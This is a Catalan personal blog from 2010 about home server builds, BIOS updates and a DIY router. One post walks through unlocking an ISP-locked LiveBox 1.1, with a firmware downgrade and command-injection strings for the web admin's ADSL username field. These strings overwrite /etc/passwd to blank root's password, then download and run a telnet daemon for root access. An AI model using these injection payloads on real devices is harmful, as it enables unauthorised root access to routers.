dimarts, 2 de novembre del 2010

Bricolatge informàtic: Estalviant energia i espai.

Tot començà el dia que es va cremar el meu servidor. Si si, es va cremar la placa base amb una flamerada que va il·luminar tota l'habitació (era un P4 3GHz també conegut com "l'estufa") mentre escoltava música des del PC. Feia temps que li donava voltes al tema de reduir consum i soroll del servidor, ja que es passa tot el dia encès, però aquell fogonaç en va ser el detonant.
En un primer moment, i per sortir del pas, vaig decidir fer servir el PC com a servidor (un AMD X2 4600 amb una gràfica Gforce 8600GTS) així que vaig muntar els components del PC dins la caixa del servidor i un cop connectats els discos va arrencar a la primera (linux rules). Ara que tornava a tindre servidor me n'adono de que necessito un entorn gràfic i faig el sacrilegi d'instal·lar les X al servidor per a fer-lo servir de PC.

Acostumat a l'amigabilitat d'Ubuntu, treballar amb les X d'una Debian Squeeze no va ser gaire gratificant ("perdoneu, però algú ho havia de dir!"), el ventilador de la Gforce dia i nit generant contaminació acústica no ajudava a sentir-se còmode, i el consum eléctric superior al de l'antic PC (en gran part culpa de la gràfica) em van motivar a trobar una solució de baix consum sense haver d'incrementar l'espai ocupat: Muntatge dual servidor ATOM + PC tot en una caixa.

Components comuns:
    -Caixa Antec P180
    -xapa, escuma, cinta doble cara i tornilleria variada
Components PC:
    -F.A. 500W modular
    -AMD X2 4600+ amb Cooler Scythe Mine
    -Nvidia Gforce 8600GTS + Cooler Accelero S1 rev2                                
    -1 x HDD Seagate 1,5TB SATA
    -DVDRW
    -Lector de targetes USB intern
    -2 x ventiladors Antec + 1 x ventilador Tacens Pro
Components Servidor:
    -F.A. Enhance 250W SFF 80plus
    -Gigabyte GA-D525TUD Mini-ITX
    -2 x 2GB DDR3
    -3 x HDD Seagate 1,5TB SATA
    -1 x HDD WD Caviar Green 2TB SATA
    -1 x ventilador Tacens Pro

Amb una xapa foradada repartim l'alimentació entre les dues fonts d'alimentació. El servidor amb placa Atom queda encaixonat a l'antic forat de la font d'alimentació.

                                                                                                                                                                                      

Ara toca encabir el PC (i la seva font d'alimentació) a l'espai superior de la caixa. Aqui tenim la placa amb la torre de dissipació passiva. Cinta doble cara, una mica d'escuma per absorbir vibracions i uns separadors ens ajuden a fixar la font al seu lloc.
                                                                              
                                                                                                                                                                                
Es l'hora de connectar cables i provar que tot funciona.

           

S'ha de dir que des de que vam fer aquest brico fins que he acabat l'entrada, he tingut uns mesos per provar-ho ;). Només dir que funciona perfecte amb la única pega del soroll que fa el ventilador de la CPU Atom que no trigaré en fer-lo desaparèixer. Això però serà un altre dia!

dimecres, 27 d’octubre del 2010

Complicant-me la vida: El mòdem ADSL 2+

Alliberant l'encaminador

Ja havia comentat que disposava d'un LiveBox 1.1 per a utilitzar amb la línia d'ADSL i així poder connectar l'encaminador a Internet. L'aparell en si ja és un encaminador complert, i amb prou paciència, portant com porta un Linux integrat per fer la feina, inclús podria fer moltes de les coses que vull fer directament amb ell, però la meva idea no és aquesta, crec que em mancaria potència (Processador) i sobretot, no em complicaria prou la vida!
El problema amb el LiveBox és que es proporciona capat, no es pot utilitzar per connectar amb altres proveïdors a part del que l'ha proporcionat i, encara que aconseguís que funcionés amb altres proveïdors, la funcionalitats que ens interessa és la funció de treball en mode pont.
Per tal d'activar aquestes funcionalitats extres (Quina mania que tenen alguns en controlar que fas i que no fas amb els equips que tens a casa teva!) cal aconseguir l'accés al mode comanda per telnet, i per fer-ho cal seguir unes instruccions que trobem a l'apartat de Livebox (DV4210) a la web de LSDios, més o menys. El procediment utilitza una vulnerabilitat al codi que executa la màquina per a afegir-hi un servei de telnet i així poder tindre control sobre les opcions disponibles.

Canviant el microprogramari

A l'enllaç que he posat s'explica prou bé el procediment, però utilitza Windows i posats a complicar-nos la vida, tornaré a explicar el procés i hi afegiré alguns canvis per no haver d'utilitzar Windows: Per obtenir accés per telnet cal primer que aconseguim una versió de microprogramari adient, se'ns diu la versió 5.03.2. És disponible a la plana de LSDios.
Per a poder transferir aquest fitxer a l'encaminador haurem d'instal·lar un dimoni de TFTP, però com que no volem trastejar massa amb el que tenim instal·lat a l'ordinador i és un procés que només s'ha de fer una vegada ho farem arrencant una Ubuntu LiveUSB (Jo ho faig amb una versió 10.10), així podem instal·lar el que faci falta i un cop reiniciat l'equip tot torna a estar com estava.
Un cop arrencada la sessió amb el LiveUSB obrim una consola de terminal i executem: sudo apt-get install tftpd-hpa
Si tot va bé acabarem amb un tftpd-hpa start/running, process ... (On els punts suspensius són el número d'identificació del procés). El que està fent ara mateix el programa és servir els arxius que tinguem a /var/lib/tftpboot/, si volem podem canviar la ruta a /etc/default/tftpd-hpa, el paràmetre a canviar és TFTP_DIRECTORY.
Ara necessitem crear l'estructura de directori que el client del LiveBox espera trobar en el nostre servidor de TFTP: sudo mkdir -p /var/lib/tftpboot/inventel/blue_5g
I ara ja podem copia l'arxiu del microprogramari que volem posar a l'encaminador dins d'aquest directori, canviant-ne el nom a factory_script_crypt: sudo cp firmware_v5.03.2-sp.dwb /var/lib/tftpboot/inventel/blue_5g/factory_script_crypt
Com que la transferència es fa per xarxa i per evitar que el Network-Manager ens canviï automàticament la configuració d'aquesta (Ens desconfigurarà totes les interfícies de xarxa, per tan, ens quedarem sense accés a Internet): sudo service network-manager stop
Caldrà donar la IP que espera el client TFTP de l'encaminador a la nostra tarja de xarxa amb fil (Dono per suposat que ara mateix no està en ús): sudo ifconfig eth0 10.7.58.114 netmask 255.0.0.0
Endollem el cable de xarxa ethernet entre l'ordinador i el port groc del LiveBox i, mantenint premut el botó 1 de l'encaminador, endollem la corrent d'aquest i ... Ja està, al cap d'uns moments hauríem de tindre el “nou” microprogramari.
Jo he volgut veure que la transferència es feia, ens ho podem saltar, i per això he utilitzat el tcpdump per a capturar els paquets de TFTP de la interfície de xarxa: sudo tcpdump -i eth0 -T tftp -l > captura.txt
La captura ens dona quelcom semblant a això:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15760 packets captured
15562 packets received by filter
9802 packets dropped by kernel

I dins del fitxer tenim això:
07:25:25.084010 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:25.188755 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:25.188954 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:25.337037 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 46
07:25:26.190007 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:26.190181 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:28.192110 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:28.192290 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:30.194101 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#0
07:25:30.194277 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:31.053844 ARP, Request who-has ubuntu.local tell 10.7.58.112, length 46
07:25:31.053901 ARP, Reply ubuntu.local is-at 00:1e:68:c9:85:d3 (oui Unknown), length 28
07:25:31.054700 IP 10.7.58.112.7700 > ubuntu.local.tftp: 46 RRQ "inventel/blue_5g/factory_script_crypt" OCTET
07:25:31.057542 IP ubuntu.local.37847 > 10.7.58.112.7700: 516 DATA block 1
07:25:31.058725 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 1
...
Es repeteixen aquestes dues últimes línies fins la sacietat, el que estem fent es transferir l'arxiu en blocs de 512 octets (Amb 4 octets de control) i arriba un punt on ja no queda més fitxer per transferir i tenim un bloc de només 56 octets, moment en que s'atura la transferència.
07:25:37.642440 IP ubuntu.local.37847 > 10.7.58.112.7700: 60 DATA block 7769
07:25:37.642717 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838165 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 7769
07:25:41.838220 IP ubuntu.local > 10.7.58.112: ICMP ubuntu.local udp port 37847 unreachable, length 40
Amb això ja tenim l'encaminador funcionant amb un codi vulnerable, on podrem utilitzar una tècnica d'injecció de codi per a fer que ens agafi del servei FTP que ens caldrà configurar ara, el dimoni de telnet que hi volem instal·lar, el utelnet. Com que utilitzo Linux, el més fàcil ha estat utilitzar un dimoni FTP, el vsftp.

Configuració del servei d'FTP

Tornem a posar en funcionament el servei de Network-Manager: sudo service network-manager start
Comprovem que tenim accés a Internet, tingueu en compte que l'encaminador torna a tindre els valors de fabrica, per tan és probable que intenti proporcionar-nos una IP, canviem el cable de xarxa o simplement el desendollem.
Instal·lem el servei de FTP: sudo apt-get install vsftpd
És un paquet sense dependències, per tan, no hi hauria d'haver problemes en instal·lar-lo. El dimoni d'FTP s'arrenca automàticament amb la configuració per defecte, això implica que podem accedir per FTP a la carpeta de l'usuari Ubuntu (Que és l'únic usuari existent en un LiveUSB i no té contrasenya). Necessitem una versió compilada del daemon utelnet, a la web de LSDios n'hi ha una, si no, haurem de compilar la nostra pròpia a partir del paquet que trobarem a la web oficial del projecte a sourceforge.net, només cal fer un .config i make.
Copiem el fitxer de l'utelnet a dins la carpeta de l'usuari, canviant-ne el nom a u per simplicitat.
A la configuració actual de l'encaminador tenim definit un DHCP, per tan, només endollar la xarxa entre l'equip i l'ordinador ens donarà una IP i podrem connectar-hi.
Accedim a l'adreça de la configuració web de l'aparell, amb la IP per defecte: http://192.168.1.1
Volem canviar la configuració avançada, accedim a l'enllaç i ens pregunta per l'usuari i la contrasenya, els dos són admin.
El que farem ara és utilitzar una tècnica d'injecció de codi per a poder executar unes comandes extra, en aquest cas, esborrar la contrasenya de l'usuari root i descarregar per FTP un arxiu anomenat u. Per fer-ho cal que deixem en blanc la casella Contraseña ADSL i a la casella Nombre de usuario ADSL escrivim: ;echo root::0:0:root:/root:/bin/sh >/etc/passwd ;cd /etc;wget ftp://ubuntu:@192.168.1.10/u ;chmod 777 /etc/u
Premem Enviar. Trigarà uns instants i ens tornarem a trobar a la pàgina on hem injectat el codi. Ara el que farem és executar el dimoni que hem copiat, altre cop deixant en blanc la casella de Contraseña ADSL i posant-ho a Nombre de usuario ADSL: ;/etc/u -p 23 -l /bin/sh -d
Fins ara tot el que hem fet ha estat per poder arribar a fer un telnet contra l'encaminador i guanyar així accés per línia de comandes com a root al sistema operatiu intern: telnet 192.168.1.1
“Desembridant l'embridamenta”
Ara que tenim accés per telnet el que hem d'aconseguir és el codi de “desembridatge”, que ens permetrà activar totes les funcions prèviament desactivades per l'ISP, entre elles utilitzar-lo per qualsevol proveïdor i el funcionament en mode pont. Escriurem a la línia de comandes del telnet: redboot_fconfig_get --parameter h235_key /dev/mtd4
Això ens retorna un codi que haurem de copiar al següent enllaç per obtenir el el codi de desembridatge: http://www.adslayuda.com/inventel_DV4210_WS_livebox-h235tounlock.html
La web original del h235tounlock ja no existeix (La que apareix a la web de LSDios), jo he tingut de buscar-la una mira per Internet, res que Google no pugui solucionar. També existeix el codi en C per a ser compilat.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
Amb el codi que hem obtingut de la web de h235tounlock, accedim a una web oculta de configuració de l'encaminador: http://192.168.1.1/brdgoff.html
Introduïm el codi obtingut anteriorment i premem Enviar.
Finalment podem confirmar que tenim l'encaminador completament alliberat i podrem procedir a configurar-lo com nosaltres vulguem.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
No deixa de sorprendrem que un procediment llarg com aquest sigui necessari per saltar-se una limitació imposada unilateralment per la companyia que ens proporciona, previ pagament, l'aparell. En qualsevol cas, complicant-me la vida i gracies a la gran comunitat de gent que corre per Internet, aquesta mena de coses es poden canviar, però no deixa de ser estúpid que et limitin l'ús d'un aparell que has pagat per a que només el puguis utilitzar amb ells, com si no es generés suficient escombraria electrònica sense necessitat de fer inútil forçosament un aparell.
No seria molt més senzill poder canviar de proveïdor d'accés sense haver de canviar l'encaminador? Segurament se'n beneficiarien els clients i els proveïdors, però ...

Material necessari


Un encaminador LiveBox 1.1 (DV4210).
El programari descrit.
Un cable de xarxa.
Un llapis de memòria USB amb una Ubuntu LiveUSB.
Un ordinador amb interfície de xarxa amb fil.
Paciència, moooolta paciència.

divendres, 27 d’agost del 2010

Complicant-me la vida: Una tarja PCI per la xarxa sense fils

Encara no havia parlat d'un element que és gran part de la gracia de tot el muntatge, la tarja de xarxa sense fils. Perquè he escollit aquest model en concret, que espero poder fer amb ell i perquè estic força segur que acabaré fent coses que no espero ara mateix.
A veure, no ens enganyem, per molt que t'hi esforcis buscant característiques tècniques i models en concret acabes comprant el que trobes. Per tan, d'entre tot el que podia comprar, he escollit una tarja de xarxa sense fil PCI (Que utilitzo amb l'únic elevador PCI que em val, llegiu l'entrada anterior) de marca TP-Link que per les seves característiques em va semblar la millor.
Volia que fos una tarja sense fil ràpida i compatible, això implicava que complís amb l'estàndard IEEE 802.11n (el Wifi de tota la vida, 150 Mb/s), que fos PCI ja que és l'únic bus que tinc disponible (res de PCIe o USB), que suportés MIMO era un afegit a la velocitat de transmissió (300 Mb/s) i que ho fes utilitzant tres antenes més encara (En general implica millor cobertura), però sobretot necessitava que fos compatible amb Linux, concretament amb l'API de configuració de la nova pila de protocol que incorpora el nucli de Linux, cfg80211.
Resulta que aquest model concret de tarja sense fils (TP-Link TL-WN951N) integra un conjunt de xips del fabricant Atheros (TP-Link només és l'integrador, no dissenya els xips) que havia llegit que estava suportat en el nucli: Atheros AR5008-3NG (Dos xips: AR2133 pels 3 canals de radio a 2'4 GHz i AR5416 per al tractament digital).
Que aquest model aparegués com a ben suportat en el nucli em donava certes garanties de que qualsevol cosa que acabés implementada a la pila de protocol 802.11 del nucli, si no hi havia limitacions a nivell de maquinari, estarien completament suportades, i quan dic qualsevol vull dir que és força probable que els controladors que proporciona el propi fabricant no permetin fer la meitat de coses que permet i/o permetrà el nucli de Linux, perquè és independent el control del maquinari del que permet la pila de protocol. Un exemple: És una tarja de xarxa sense fils, està pensada per a que un cop instal·lada permeti connectar un ordinador a un punt d'accés de xarxa, doncs bé, jo la utilitzaré per a fer un d'aquests punts d'accés de xarxa, no un client.
En successives revisions del nucli de Linux han anat implementant noves funcionalitats a la pila de protocol 802.11, totes i cada una d'elles passen a ser utilitzables per l'equip que jo utilitzo, i no haig de confiar en que el fabricant del dispositiu actualitzi els controladors del seu producte (Més em valdria esperar-me assegut). És una de les "avantatges" de complicar-me la vida.

divendres, 6 d’agost del 2010

Complicant-me la vida: Maquinari muntat

Els que sigueu una mica observadors ja haureu vist que les fotos que tinc ja porten tot el muntatge completat. A nivell de maquinari ja tinc tots els components com els volia (Partint del que tinc, clar, sempre es podria millorar).

A la foto es veu com queda tot el muntatge intern, la unitat òptica no s'hi pot muntar, la tarja PCI ho evita, no hi caben tots dos. Comentar que hi vaig haver d'afegir un altaveu per la placa base, que no en porta, així sento els "bips" de la placa base, i amb això i la tapa posada tot queda com a la foto que hi ha a la primera entrada del projecte.

dijous, 5 d’agost del 2010

Complicant-me la vida: Aprenent les coses massa tard

Quan una cosa no la se i me la pregunten dic que no la se. Quan una cosa no se que no la se, no puc actuar-hi en conseqüència.
DE QUE COLLONS ESTIC PARLANT?!?!
Bàsicament, la caixa que utilitzo miniITX donava per suposat que era mitjanament estàndard en les seves mides, és fins a cert punt difícil, perquè la única cosa que defineix el miniITX són les mides de la placa base, no les de la caixa, i per tan, els fabricants fan el que volen.
El problema és que suposava que la caixa internament complia les mides d'ancoratge d'una caixa estàndard d'1 U, però resulta que no és així: La caixa fa uns 6 cm d'alt, no els prop de 4'5 cm que hauria de fer una caixa d'1U, això no és cap sorpresa, la sorpresa és que l'ancoratge intern per la tarja PCI en horitzontal que disposa donava per suposat que era equivalent al d'una caixa enracable d'1 U, i no és així!
Dues conseqüències: Ha quedat demostrada (altre cop, gran novetat!) la meva ignorància i avui m'ha arribat un paquet de Xina amb 10 elevadors PCI sobre placa per a caixes d'1U que no puc utilitzar per ser massa baixos!!! Simplement, la tarja PCI tocaria amb els connectors posteriors de la placa base.
Al final resulta que tinc un adaptador que m'és vàlid i 10 més que no (No penso llençar-los, mai se sap), encara continuo volent comprar-ne de nous que em valguin, però bé de preu clar.
Ja posats, algú em sap dir si el connector que utilitzo és estàndard? Com n'hi haig de dir?

Busqueu les diferencies:

dijous, 22 de juliol del 2010

Complicant-me la vida: De l'epopeia que representa trobar un elevador PCI sobre placa (o no)

Ha costat i ha costat!
Ja havia comentat en alguna entrada anterior que era molt interessant que aconseguís aquesta mena d'adaptador, la caixa de que disposo permet muntar una tarja PCI, però només si ho faig horitzontalment per sobre de la placa base.
Després de repassar-me la majoria de tendes especialitzades del Carrer Sepùlveda preguntant per exactament el tipus d'adaptador PCI que necessitava, un elevador PCI sobre placa, només a una tenda em va dir que me'l podien proporcionar, per encàrrec, i que em costaria 15 €, que era probable que en tinguessin al magatzem i me'l podien portar. Vaja, que em cobraven un preu car per un component vell que no tenien esperances de vendre i que només feia que acumular pols i ocupar espai, no crec que els hi fos un mal negoci. En aquells moments ja em van agafar una mica desesperat.
Internet no havia resultat molt útil, ni les tendes xineses, ni eBay, ni les tendes en línia mitjanament importants, ...
En resum, al final, al cap de més de quinze dies d'haver-ho demanat vaig aconseguir això:
Ha passat el temps, coses dels exàmens escric aquesta entrada bastant més tard del que hauria volgut, i per aquelles coses de la vida/Internet l'altre dia vaig acabar mirant el catàleg d'una tenda xinesa a eBay: El catàleg més eclèctic que et puguis imaginar en temes d'electrònica per ordinadors i sense cap ordre ni sentit, vaig acabar-hi comprant dos dispositius USB per mesurar la temperatura i 10 (Sí, he dit 10) adaptadors elevadors PCI sobre placa, mira tu quina casualitat que aquests xinesos sí en tinguessin i estiguessin disposats a vendre-me'n a un preu immillorable. Preu total dels 12 components: 12 dòlars, això sí, el cost de l'enviament pujava també a 12 $, despropòsits!
Resultat al final? Ja puc muntar com cal la tarja de xarxa sense fils dins de la caixa i tancar-ho tot.

diumenge, 11 d’abril del 2010

Complicant-me la vida: RAID1 Compact Flash 8+8 GO

No fa massa a la feina va aparèixer un encaminador/tallafocs muntable en armari rack d'una U, força senzillet i no massa nou diria jo, però segur que barat no era. El tema és que va arribar a les nostres dependències perquè no funcionava, i no funcionava perquè el disc intern que utilitzava era una targeta Compact Flash de tipus II i s'havia espatllat. Al tractar-se d'un dispositiu de memòria Flash ens trobem amb una vida limitada en quant a nombre d'escriptures màximes possibles a la mateixa cel·la de memòria,no són poques, però acaba passant.
Una alternativa relativament nova són els discos SSD,que intenten solucionar aquest problema utilitzant diverses tècniques: Utilitzar memòria SLC (Single-Level Cell) enlloc de MLC (Multil-Level Cell), reserven un tan per cent de cel·les per anar-les utilitzant a mesura que les ja en funcionament deixen de fer-ho, s'esborra només la referencia de les dades i no les dades en si (TRIM), ... No vull entrar-hi.
Com que el pressupost no està per anar comprant discos SSD i els requeriments tampoc crec que ho demanin ho faré el millor possible, a lo pobre, però que s'hi assembli: M'han arribat fa poc de Xina dos adaptadors IDE de 40 fils a Compact Flash, són adaptadors completament passius, doncs les targes Compact Flash acceptem sense problemes les comandes d'un bus IDE, només adapten els connectors, això explica que valguessin uns 2'50 €. Aquests adaptadors i dues targes Compact Flash de 8GO d'alta velocitat (30 MiO/s segons les especificacions, uns 30€ cada una) passaran a ser el dispositiu d'emmagatzematge de l'encaminador.
Per què dues? Perquè les munto en mode RAID1. És relativament senzill, només afegint el suport necessari al nucli de Linux i instal·lant les eines d'espai d'usuari mdadm en tenim prou per a definir els volums RAID1 a nivell de partició, i un cop definits els volums és completament transparent per la resta de sistema operatiu. Amb RAID s'aconsegueix redundància de dades i més velocitat de lectura, que són els dues principals pegues de les memòries Flash, quedant una mica pal·liades.
Si veieu a la foto no se si queda molt clar, els dos adaptadors estan units per uns cargols i uns separadors, gentilesa d'un amic manetes que jo no en tenia, i un parell de tacs de goma cònics autoadhesius que sí tenia per allí. Ha quedat molt bé, robust i compacte, el tema és que dins la caixa no sobra l'espai, i que així hi caben perfectament.

De quan un ordinador és massa vell per Debian

Quan penso en instal·lar un sistema operatiu per un servidor normalment penso en una distribució GNU/Linux, i si a sobre em deixen escollir a mi normalment penso en una Debian completament pelada, m'agrada la idea de no malbaratar recursos en interfícies gràfiques que no utilitzaré i demés serveis. S'instal·la només el que necessites i tens força control sobre això.
Perquè m'enrotllo dient això? Perquè al miniPC al ser un projecte personal i un ordinador de potència limitada hi he instal·lat una Debian 5.04.

Els problemes hi han sigut, si tot funcionés a la primera seria massa fàcil. Crec que si una cosa ha quedat clara és que estic utilitzant un maquinari vell, 2002 és molt vell en termes d'informàtica, coses de la Llei de Moore. Això implica que a nivell de potència estem limitats, però també implica que coses que donem per suposades actualment no tenen perquè funcionar:
Fa algun temps que seguint aquestes instruccions i utilitzant el corresponent llapis de memòria USB faig les instal·lacions de sistema operatiu des d'aquest dispositiu. Debian és una de les imatges que utilitzo normalment i acostuma a funcionar. El problema ve quan tens un equip que tot just té USB 1.1 (VIA UHCI) i la BIOS és del 2002. T'alegres molt quan veus que hi ha les opcions necessàries a la configuració i és capaç d'arrencar sense pegues utilitzat l'USB. Disposa de múltiples emulacions, incloent disquetera, CD-ROM i disc dur (En la majoria de BIOS modernes el mode d'emulació s'escull automàticament), això implica que la BIOS converteix les crides realitzades a través de les seves rutines a peticions per USB per al dispositiu vàlides, una mena de capa d'emulació que fa creure al sistema operatiu que en realitat l'esmentat dispositiu no està endollat per USB si no per un bus més adequat a cada cas, si parlem d'una disquetera la controladora de disqueteres, en el cas d'un disc dur o una unitat òptica el bus IDE.

Però resulta que la emulació de disc dur que fa per treballar amb dispositius USB falla en aquesta placa base! Ni amb la versió actualitzada de la BIOS funciona, i el que és pitjor, falla a mitges. A mig arrencar el programa d'instal·lació es queda penjat i poca cosa més pots fer, però clar, determinar que és això el que t'està fallant és un altre tema, de fet, com la majoria de vegades, es determina per proba i error, i la cosa és complica quan hi ha coses que funcionen perfectament (Una imatge LiveCD d'Ubuntu també del mateix llapis).
Un cop descartat que el llapis USB tingués errors, que la imatge ISO de Debian s'hagués baixat malament, que es necessités arrencar amb algun paràmetre de compatibilitat el nucli, de córrer el memtest++ durant tota una nit en busca d'errors de memòria, de desendollar i desactivar tots els dispositius prescindibles (Tarja de so integrada, ports series i paral·lel, controladora de disquetera, ...), de provar d'utilitzar el mateix llapis en un altre ordinador pel mateix procediment... Al final he hagut de muntar-hi un lector òptic tan si com no, i cremar una imatge de Debian en CD.

Temps total d'instal·lació del sistema base de Debian amb el CD? Uns 30 minuts.
La informàtica és fàcil!

divendres, 2 d’abril del 2010

La BIOS nova ha servit per alguna cosa!

Després d'haver actualitzat la BIOS a la versió més moderna, com vaig comentar a l'entrada anterior, i sense que serveixi de precedent ja he trobat una conseqüència positiva!
Resulta que he aconseguit un modul de memòria exactament igual que el que ja tenia instal·lat a l'equip, per tan, 512 MiO + 512 MiO són un total de 1 GiO. (Feia gracia utilitzar la nomenclatura, pels que no ho vegin clar: MiO = MebiOctet)

Doncs resulta que si no hagués actualitzat la BIOS l'equip no m'hauria acceptat treballar amb els dos mòduls, apart d'haver de canviar la configuració per a que la placa base accepti automàticament qualsevol dels tipus suportats de mòduls de memòria (2 o 4 bancs) i activar-ne la detecció automàtica de velocitat de funcionament per SPD, a més a més també calia actualitzar-la en aquest cas. Algun bug impedia que la placa base detectes correctament tota la memòria i era completament incapaç d'arrencar, posant-se a pitar com una posseïda queixant-se de la memòria.

Resumint: L'equip ara disposa de dos mòduls iguals de memòria, doblant-ne la memòria disponible.

dimecres, 17 de març del 2010

Complicant-me la vida: Actualitzant la BIOS, mètode pedestre


La placa base de l'equip és de l'any 2002 (Força vella, sí) però el fabricant LexCom continua mantenint els fitxers de suport en el seu web, així que abans de fer res més vaig comprovar si existia alguna actualització i en efecte, hi havia una versió nova de la BIOS del 2004, no tots els fabricants mantenen arxius de fa tants anys.

Actualitzar-ne la BIOS a l'última versió disponible mal no hauria de fer i sempre es soluciona algun que altre bug, em podríeu dir que si no he trobat cap problema de funcionament no val la pena, que el més probable és que no solucioni res que m'afecti, que és inclús un procediment perillós (Et pots quedar sense placa si alguna cosa surt malament), però no sóc molt amic del "Si funciona no ho toquis!", després de tot, no estaria fent tot aquest projecte.

Recapitulem: placa base del 2002, jo a l'any 2010 i un viatge temporal al passat pendent. Quin és el procediment per actualitzar una BIOS? Doncs insereixes un disquet d'arrancada de DOS a la disquetera i un cop en línia de comandes canvies el disquet posant el que conté la versió de BIOS nova i la utilitat per "flashejar-la"... El miniPC no té disquetera i jo fa temps que no utilitzo disquets, i agraït n'estic!

El curiós del tema és que estic preparat per la vida moderna i disposo de tot el necessari, així que armat de paciència, una disquetera externa USB i tres disquets TDK reciclats que tenia guardats per emergències em poso en el procés.

Primera efemèride, aconsegueix un disquet d'arrancada de DOS: Ja he dit que estic preparat per la vida moderna, de manera que tinc guardat per allí un fitxer executable que genera un disquet d'arrencada de MS-DOS, una imatge dels que acompanyaven a Windows 98 Segona Edició. Com que l'executable és només per Windows canvio el meu equip a Windows 7 i després de veure que tampoc és compatible amb Windows 7 de 64 bits, canvio de màquina a una amb Windows XP de 64 bits on misteriosament (o per casualitat, ves tu a saber en que pensava Bill Gates en aquell moment!) si funciona l'executable i també hi tinc disquetera (És bo no llençar res!), però ESPERAT! Dels tres disquets al final només en funciona un! Així que al final haig de gravar-hi la imatge, arrencar el MS-DOS, esborrar altre cop el disquet, posar-hi els arxius que necessito per fer l'actualització i finalment fer l'actualització.

Temps total per realitzar una punyetera actualització de BIOS de 256 KiO per algú que està fart de fer-ho i tenia totes les eines: més d'una hora.

Entenc que no es procediment molt comú, no sempre es fa, però els fabricants s'haurien d'esforçar una mica en millorar-lo. A dia d'avui encara hi ha fabricants que depenen d'aquest mètode completament pedestre, d'altres tenen utilitats per Windows que faciliten molt les coses, però has d'anar molt amb compte igualment, cada model de placa base té la seva eina i cada fabricant també. I intentar fer-ho des de Linux és poc menys que un suïcidi.

Tot això em porta a pensar que entenc els motius per a que existeixi un projecte de codi lliure d'aquests que no se'n sent a parlar però que és prou interessant: CoreBoot

És un projecte per a proporcionar als fabricants i als usuaris, si volen, una BIOS per a les plaques base de codi lliure, evidentment, amb les corresponents eines comuns per a fer la feina per la majoria de sistemes operatius que existeixen, i suportant estàndards molt més moderns ens plaques base que el fabricant ja ha abandonat. Li queda camí per córrer, però em fa pensar en que és possible tindre una placa base amb suport EFI sense que el fabricant l'hagués dissenyat així, i tot el que sigui allargar la vida dels components benvingut sigui, i si no, que li diguin a la placa base del 2002 que estic utilitzant!

dilluns, 15 de març del 2010

Complicant-me la vida: Configurant un encaminador casolà per accedir a Internet

Si és divertit complicar-se la vida!

M'explico, he aconseguit per aquelles coses de la feina un ordinador vell que porta un processador de baix consum prou potent (VIA C3 800 Mhz) i em va semblar que seria la plataforma ideal per a configurar-m'hi una distribució Debian i utilitzar-la d'encaminador/tallafocs per l'accés a Internet. La idea és substituir un d'aquest fantàstics aparells que ens proporcionen els nostres proveïdors d'accés que fan de tot però no fan res bé: No n'he trobat cap que quan actives el control de QoS continuï tenint suficient potència per no perdre connexions, els que suporten TelefoniaIP acostumen a penjar-se i no poden canviar d'operador, els tallafocs són poc configurables i la seguretat discutible, ...

En resum: Puc buscar-me més excuses per complicar-me la vida, però el que intentaré fer és reinventar la sopa d'all a la meva manera, evidentment tampoc seré el primer en fer-ho, de fet, FONera em ve repetidament al cap, i OpenWRT és un altre projecte que també em fa sonar campanes.

L'ordinador que utilitzaré té les següents característiques tècniques:
  • Placa base LexCom BN860T VIA mini-ITX (Una review)
  • DIMM 512 MB de memòria RAM SDR PC133
  • Font d'alimentació sòlida de fins a 60 W
  • Processador de baix consum VIA C3 a 800 Mhz (Samuel 2)
  • Tarja PCI de xarxa sense fils 802.11n (TP-Link TL-WN951N)
  • Disc dur IDE de 2'5" de 20 GB
M'agradaria trobar i comprar un elevador PCI sobre placa d'1 U (muntatge horitzontal), això em permetria no canviar de caixa i estalviar-me unes peles, si no, hauré de comprar una caixa on el connector d'expansió PCI de que disposa la placa base es pugui utilitzar en el seu muntatge vertical. De moment no he tingut sort.

La tarja 802.11n és per configurar un punt d'accés de xarxa sense fils: Posats a complicar-nos la vida, compliquem-nos-la del tot, no? He comprat aquest model perquè sabia que estava ben suportat pels nuclis moderns de Linux.

Dues coses a dir importants de l'equip que m'agraden, consumeix molt poc, entre 12 i 24 watts en funció de la freqüència dinàmica de treball del processador (400-800 Mhz), i que en conseqüència no fa gens de soroll, el processador porta un dissipador petit completament passiu que està tebi al tacte i com ja he dit, la font d'alimentació és un totxo de 60 W com si fos de portàtil.

El que tenim fins ara ens permet crear un encaminador, però encara no tenim com accedir a Internet, necessitem un mòdem ADSL2+. Aquí és on entra el proveïdor de torn d'accés a Internet i la seva amplia oferta de models. Com que l'ordinador que tenim només disposa d'una interfície de xarxa ethernet (La banda local de la xarxa) i el port d'expansió PCI ja el tenim ocupat necessitem una forma d'afegir una segona interfície de xarxa per poder connectar a Internet: Un LiveBox 1.1 amb connector USB ens hauria de servir per fer la feina, gentilesa d'un proveïdor taronja i un amic que no el necessitava. Aquest USB quan l'endolles a l'ordinador et proporciona una interfície de xarxa nova que servirà perfectament pel que ens ocupa. Sort que el nucli de Linux el reconeix!

Espero que les properes entrades siguin menys llargues o com a mínim menys difuses, i que no triguin gaire, procuraré penjar alguna foto, però és que ara mateix no tinc càmera! (Editat: JA TINC CÀMERA)

